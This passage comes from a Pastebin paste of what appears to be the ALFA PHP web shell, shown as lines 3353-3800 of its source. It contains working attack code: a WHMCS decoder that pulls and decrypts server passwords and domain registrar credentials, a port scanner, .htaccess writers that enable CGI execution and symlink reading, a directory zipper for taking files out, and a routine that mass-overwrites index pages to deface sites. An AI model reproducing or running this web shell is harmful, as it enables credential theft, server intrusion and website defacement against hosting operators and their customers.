  3353. $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
  3354. $hash_key = _hash($key);
  3355. $hash_length = strlen($hash_key);
  3356. $string = __ZGVjb2Rlcg($string);
  3357. $tmp_iv = substr($string, 0, $hash_length);
  3358. $string = substr($string, $hash_length, strlen($string) - $hash_length);
  3359. $iv = $out = '';
  3360. $c = 0;
  3361. while ($c < $hash_length) {
  3362. $iv.= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
  3363. ++$c;
  3364. }
  3365. $key = $iv;
  3366. $c = 0;
  3367. while ($c < strlen($string)) {
  3368. if (($c != 0 and $c % $hash_length == 0)) {
  3369. $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
  3370. }
  3371. $out.= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
  3372. ++$c;
  3373. }
  3374. return $out;
  3375. }
  3376. function _hash($string) {
  3377. if (function_exists('sha1')) {
  3378. $hash = sha1($string);
  3379. } else {
  3380. $hash = md5($string);
  3381. }
  3382. $out = '';
  3383. $c = 0;
  3384. while ($c < strlen($hash)) {
  3385. $out.= chr(hexdec($hash[$c] . $hash[$c + 1]));
  3386. $c+= 2;
  3387. }
  3388. return $out;
  3389. }
  3390. echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>" . getConfigHtml('whmcs') . "</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
  3391. <input type='hidden' name='form_action' value='2'>";
  3392. $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50'));
  3393. create_table($table);
  3394. echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
  3395. if ($_POST['alfa5'] != '') {
  3396. $db_host = ($_POST['alfa7']);
  3397. $db_username = ($_POST['alfa3']);
  3398. $db_password = ($_POST['alfa4']);
  3399. $db_name = ($_POST['alfa5']);
  3400. $cc_encryption_hash = ($_POST['alfa6']);
  3401. echo __pre();
  3402. $conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name) or die(mysqli_error($conn));
  3403. $query = mysqli_query($conn, 'SELECT * FROM tblservers');
  3404. $num = mysqli_num_rows($query);
  3405. if ($num > 0) {
  3406. for ($i = 0;$i <= $num - 1;$i++) {
  3407. $v = @mysqli_fetch_array($query);
  3408. $ipaddress = $v['ipaddress'];
  3409. $username = $v['username'];
  3410. $type = $v['type'];
  3411. $active = $v['active'];
  3412. $hostname = $v['hostname'];
  3413. echo ("<center><table border='1'>");
  3414. $password = decrypt($v['password'], $cc_encryption_hash);
  3415. echo ("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
  3416. echo ("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
  3417. echo ("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
  3418. echo ("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
  3419. echo ("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
  3420. echo ("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
  3421. echo '</table><br><br></center>';
  3422. }
  3423. $query1 = @mysqli_query($conn, 'SELECT * FROM tblregistrars');
  3424. $num1 = @mysqli_num_rows($query1);
  3425. if ($num1 > 0) {
  3426. for ($i = 0;$i <= $num1 - 1;$i++) {
  3427. $v = mysqli_fetch_array($query1);
  3428. $registrar = $v['registrar'];
  3429. $setting = $v['setting'];
  3430. $value = decrypt($v['value'], $cc_encryption_hash);
  3431. if ($value == '') {
  3432. $value = 0;
  3433. }
  3434. echo ('<center>Domain Reseller <br><center>');
  3435. echo ("<center><table border='1'>");
  3436. echo ("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
  3437. echo ("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
  3438. echo ("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
  3439. echo '</table><br><br></center>';
  3440. }
  3441. }
  3442. } else {
  3443. __alert('<font color="red">tblservers is Empty...!</font>');
  3444. };
  3445. }
  3446. echo '</div>';
  3447. alfafooter();
  3448. }
  3449. function alfaportscanner() {
  3450. alfahead();
  3451. echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
  3452. <form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
  3453. <input type="hidden" name="y" value="phptools">
  3454. <div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
  3455. <div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
  3456. <div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
  3457. </form></center><br>';
  3458. $start = strip_tags($_POST['alfa2']);
  3459. $end = strip_tags($_POST['alfa3']);
  3460. $host = strip_tags($_POST['alfa4']);
  3461. if (isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])) {
  3462. echo __pre();
  3463. $packetContent = "GET / HTTP/1.1
  3464.  
  3465. ";
  3466. if (ctype_xdigit($packetContent)) $packetContent = @pack('H*', $packetContent);
  3467. else {
  3468. $packetContent = str_replace(array("
  3469. ", "
  3470. "), '', $packetContent);
  3471. $packetContent = str_replace(array("
  3472. ", "
  3473. "), array("
  3474. ", "
  3475. "), $packetContent);
  3476. }
  3477. for ($i = $start;$i <= $end;$i++) {
  3478. $sock = @fsockopen($host, $i, $errno, $errstr, 3);
  3479. if ($sock) {
  3480. stream_set_timeout($sock, 5);
  3481. fwrite($sock, $packetContent . "
  3482.  
  3483. ");
  3484. $counter = 0;
  3485. $maxtry = 1;
  3486. $bin = '';
  3487. do {
  3488. $line = fgets($sock, 1024);
  3489. if (trim($line) == '') $counter++;
  3490. $bin.= $line;
  3491. }
  3492. while ($counter < $maxtry);
  3493. fclose($sock);
  3494. echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
  3495. echo "<p><textarea style='height:140px;width:50%;'>" . $bin . '</textarea></p></center>';
  3496. }
  3497. flush();
  3498. }
  3499. }
  3500. echo '</div>';
  3501. alfafooter();
  3502. }
  3503. function alfacgihtaccess($m, $d = '', $symname = false) {
  3504. $readme = '';
  3505. if ($symname) {
  3506. $readme = "
  3507. ReadmeName " . trim($symname);
  3508. }
  3509. if ($m == 'cgi') {
  3510. $code = "#Coded By hayben & MKA7
  3511. Options FollowSymLinks MultiViews Indexes ExecCGI
  3512. AddType application/x-httpd-cgi .mka
  3513. AddHandler cgi-script .mka
  3514.  
  3515.  
  3516.  
  3517. RewriteEngine on
  3518.  
  3519. RewriteRule (.*)\war$ .log
  3520.  
  3521. ## END ##";
  3522. } elseif ($m == 'sym') {
  3523. $code = "#Coded By hayben & MKA7
  3524. Options Indexes FollowSymLinks
  3525. DirectoryIndex mka7.phtm
  3526. AddType text/plain php html php4 phtml
  3527. AddHandler text/plain php html php4 phtml{$readme}
  3528. Options all";
  3529. } elseif ($m == 'shtml') {
  3530. $code = "Options +Includes
  3531. AddType text/html .shtml
  3532. AddHandler server-parsed .shtml";
  3533. } elseif ($m == 'hayben') {
  3534. $code = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  3535.  
  3536. AddType application/x-httpd-cgi .txt
  3537.  
  3538. AddHandler cgi-script .pl
  3539. AddHandler cgi-script .po';
  3540. }
  3541. @__write_file($d . '.htaccess', $code);
  3542. }
  3543. function alfaziper() {
  3544. alfahead();
  3545. echo '<div class=header><p><center><p><div class="txtfont_header">| Sktrc |</div></p>
  3546. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
  3547. <div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="' . htmlspecialchars($GLOBALS['cwd']) . '" size="60"/>
  3548. <div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'mka7.zip" size="60"/>
  3549. <input type="submit" value=" " name="ziper" />
  3550. </form></center></p>';
  3551. if (isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')) {
  3552. $dirzip = $_POST['alfa3'];
  3553. $zipfile = $_POST['alfa4'];
  3554. if (class_exists('ZipArchive') && ($GLOBALS['sys'] != 'unix' || !_alfa_can_runCommand(true, true))) {
  3555. $code = 'if(!extension_loaded(\'zip\')||!file_exists($source)){return false;}$zip=new ZipArchive();if(!$zip->open($destination,ZIPARCHIVE::CREATE)){return false;}$source=str_replace(\'\\', \'/\',realpath($source));if(is_dir($source)===true){$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);foreach($files as $file){$file=str_replace(\'\\', \'/\',$file);if(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;$file=realpath($file);if(is_dir($file)===true){$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));}else if(is_file($file)===true){$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));}}}else if(is_file($source)===true){$zip->addFromString(basename($source),file_get_contents($source));}return $zip->close();';
  3556. $newfunc = create_function('$source,$destination', $code);
  3557. if ($newfunc($dirzip, $zipfile)) {
  3558. echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font></p></center>';
  3559. } else {
  3560. echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
  3561. }
  3562. } else {
  3563. alfaEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "' > /dev/null &");
  3564. echo __pre() . '<center><p>1 dakika sonra u dizine parmak at kanka -> <b><font color="green">' . $zipfile . '</font></b><br>ben arka planda zipliyorum </p></center>';
  3565. }
  3566. }
  3567. echo '</div>';
  3568. alfafooter();
  3569. }
  3570. function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = array()) {
  3571. if (@is_dir($dir)) {
  3572. $files = @scandir($dir);
  3573. foreach ($files as $key => $value) {
  3574. $path = @realpath($dir . DIRECTORY_SEPARATOR . $value);
  3575. if (!@is_dir($path)) {
  3576. if ($ext != '*') {
  3577. $f = basename($path);
  3578. $f = explode('.', $f);
  3579. $f = end($f);
  3580. if ($f != $ext) continue;
  3581. }
  3582. if ($e == 'str') {
  3583. $content = @file_get_contents($path);
  3584. if (strpos($content, $string) !== false) {
  3585. echo str_replace('\',' / ',$path) .' < br > ';
  3586. }
  3587. }
  3588. else
  3589. {
  3590. if (strstr($value,$string))
  3591. {
  3592. echo str_replace('\',' / ',$path) .' < br > ';
  3593. }
  3594. }
  3595. $results[] = $path;
  3596. }
  3597. elseif ($value != ' . '&&$value != ' . . ')
  3598. {
  3599. Alfa_StrSearcher($path,$string,$ext,$e,$results);
  3600. $results[] = $path;
  3601. }
  3602. }
  3603. }
  3604. }
  3605. function Alfa_ReadDir($dir,$method = '',$defpage = '')
  3606. {
  3607. if (!@is_readable($dir)) return false;
  3608. if (@is_dir($dir))
  3609. {
  3610. if ($dh = @opendir($dir))
  3611. {
  3612. while (($file = readdir($dh)) !== false)
  3613. {
  3614. if ($file == ' . . '||$file == ' . ') continue;
  3615. $newfile = $dir .' / '.$file;
  3616. if (@is_readable($newfile) &&@is_dir($newfile)) Alfa_ReadDir($newfile,$method,$defpage);
  3617. if (@is_file($newfile))
  3618. {
  3619. if (!@is_readable($newfile)) continue;
  3620. Alfa_Rewriter($newfile,$file,$defpage,$method);
  3621. }
  3622. }
  3623. closedir($dh);
  3624. }
  3625. }
  3626. }
  3627. function Alfa_Rewriter($dir,$file,$defpage,$m = 'index')
  3628. {
  3629. if (!@is_writable($dir)) return false;
  3630. if (!@is_readable($dir)) return false;
  3631. $defpage = @file_get_contents($defpage);
  3632. if ($m == 'index')
  3633. {
  3634. $indexs = array(
  3635. 'index . php',
  3636. 'index . htm',
  3637. 'index . html',
  3638. '
  3639. default . asp',
  3640. '
  3641. default . aspx',
  3642. 'index . asp',
  3643. 'index . aspx',
  3644. 'index . js'
  3645. );
  3646. if (in_array(strtolower($file) ,$indexs))
  3647. {
  3648. @file_put_contents($dir,$defpage);
  3649. echo @is_file($dir) ?$dir ."<b><font color='red'>DeFaced...</b></font><br>": '';
  3650. }
  3651. }
  3652. elseif ($m == 'all')
  3653. {
  3654. @file_put_contents($dir,$defpage);
  3655. echo @is_file($dir) ?$dir ." <b><font color='red'>DeFaced...</b></font><br>": '';
  3656. }
  3657. }
  3658. function alfaGetDisFunc()
  3659. {
  3660. alfahead();
  3661. echo ' < divclass = "header" > ';
  3662. $disfun = @ini_get('disable_functions');
  3663. $s = explode(', ',$disfun);
  3664. $f = array_unique($s);
  3665. echo ' < center > < br > < b > < fontcolor = "#7CFC00" > DisableFunctions < / font > < / b > < pre > < tableborder = "1" > < tr > < tdalign = "center"style = "background-color: green;color: white;width:5%" > #</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
  3666. $i = 1;
  3667. foreach ($f as $s) {
  3668. $s = trim($s);
  3669. if (function_exists($s) || !is_callable($s)) continue;
  3670. echo '<tr><td align="center" style="background-color: black;">' . $i . '</td>';
  3671. echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.' . str_replace('_', '-', $s) . '.php"><span class="disable_functions"><b>' . $s . '</b></span></a></td>';
  3672. $i++;
  3673. }
  3674. echo '</table></center>';
  3675. echo '</div>';
  3676. alfafooter();
  3677. }
  3678. function Alfa_Create_A_Tag($action, $vals) {
  3679. $nulls = array();
  3680. foreach ($vals as $key => $val) {
  3681. echo '<a href=javascript:void(0) onclick="g(\'' . $action . '\',';
  3682. for ($i = 1;$i <= $val[1] - 1;$i++) $nulls[] = 'null';
  3683. $f = implode(',', $nulls);
  3684. echo $f . ',\'' . $val[0] . '\');return false;">| ' . $key . ' | </a>';
  3685. unset($nulls);
  3686. }
  3687. }
  3688. function Alfa_Searcher($dir, $ext, $method) {
  3689. if (@is_readable($dir)) {
  3690. if ($method == 'all') $ext = '*';
  3691. if ($method == 'dirs') $ext = '*';
  3692. $globFiles = @glob("$dir/*.$ext");
  3693. $globDirs = @glob("$dir/*", GLOB_ONLYDIR);
  3694. $blacklist = array();
  3695. foreach ($globDirs as $dir) {
  3696. if (!@is_readable($dir)) continue;
  3697. @Alfa_Searcher($dir, $ext, $method);
  3698. }
  3699. switch ($method) {
  3700. case 'files':
  3701. foreach ($globFiles as $file) {
  3702. if (@is_writable($file)) {
  3703. echo "$file<br>";
  3704. }
  3705. }
  3706. break;
  3707. case 'dirs':
  3708. foreach ($globFiles as $file) {
  3709. if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) {
  3710. echo dirname($file) . '<br>';
  3711. $blacklist[] = dirname($file);
  3712. }
  3713. }
  3714. break;
  3715. case 'all':
  3716. foreach ($globFiles as $file) {
  3717. echo $file . '<br>';
  3718. }
  3719. break;
  3720. }
  3721. unset($blacklist);
  3722. }
  3723. }
  3724. function AlfaiFrameCreator($f, $width = '100%', $height = '600px') {
  3725. return ('<iframe src="' . $f . '" width="' . $width . '" height="' . $height . '" frameborder="0"></iframe>');
  3726. }
  3727. class AlfaCURL {
  3728. public $headers;
  3729. public $user_agent;
  3730. public $compression;
  3731. public $cookie_file;
  3732. public $proxy;
  3733. public $path;
  3734. public $ssl = false;
  3735. public $curl_status = true;
  3736. function __construct($cookies = false, $compression = 'gzip', $proxy = '') {
  3737. if (!extension_loaded('curl')) {
  3738. $curl_status = false;
  3739. return false;
  3740. }
  3741. $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
  3742. $this->headers[] = 'Connection: Keep-Alive';
  3743. $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
  3744. $this->headers[] = 'Cookie: mail=mka7%40pay-mon.com';
  3745. $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
  3746. $this->path = ALFA_TEMPDIR . '/Mka7_cookies.txt';
  3747. $this->compression = $compression;
  3748. $this->proxy = $proxy;
  3749. $this->cookies = $cookies;
  3750. if ($this->cookies) $this->cookie($this->path);
  3751. }
  3752. function cookie($cookie_file) {
  3753. if (_alfa_file_exists($cookie_file, false)) {
  3754. $this->cookie_file = $cookie_file;
  3755. } else {
  3756. @fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
  3757. $this->cookie_file = $cookie_file;
  3758. @fclose($this->cookie_file);
  3759. }
  3760. }
  3761. function Send($url, $method = 'get', $data = '') {
  3762. if (!$this->curl_status) {
  3763. return false;
  3764. }
  3765. $process = curl_init($url);
  3766. curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
  3767. curl_setopt($process, CURLOPT_HEADER, 0);
  3768. curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
  3769. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  3770. curl_setopt($process, CURLOPT_ENCODING, $this->compression);
  3771. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  3772. if ($this->ssl) {
  3773. curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
  3774. curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
  3775. }
  3776. if ($this->cookies) {
  3777. curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
  3778. curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
  3779. }
  3780. if ($this->proxy) {
  3781. curl_setopt($process, CURLOPT_PROXY, $this->proxy);
  3782. }
  3783. if ($method == 'post') {
  3784. curl_setopt($process, CURLOPT_POSTFIELDS, $data);
  3785. curl_setopt($process, CURLOPT_POST, 1);
  3786. curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  3787. }
  3788. $return = curl_exec($process);
  3789. curl_close($process);
  3790. return $return;
  3791. }
  3792. function error($error) {
  3793. echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
  3794. die;
  3795. }
  3796. }
  3797. if (empty($_POST['a'])) if (isset($default_action) && function_exists('alfa' . $default_action)) $_POST['a'] = $default_action;
  3798. else $_POST['a'] = 'FilesMan';
  3799. if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) call_user_func('alfa' . $_POST['a']);
  3800. exit; ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!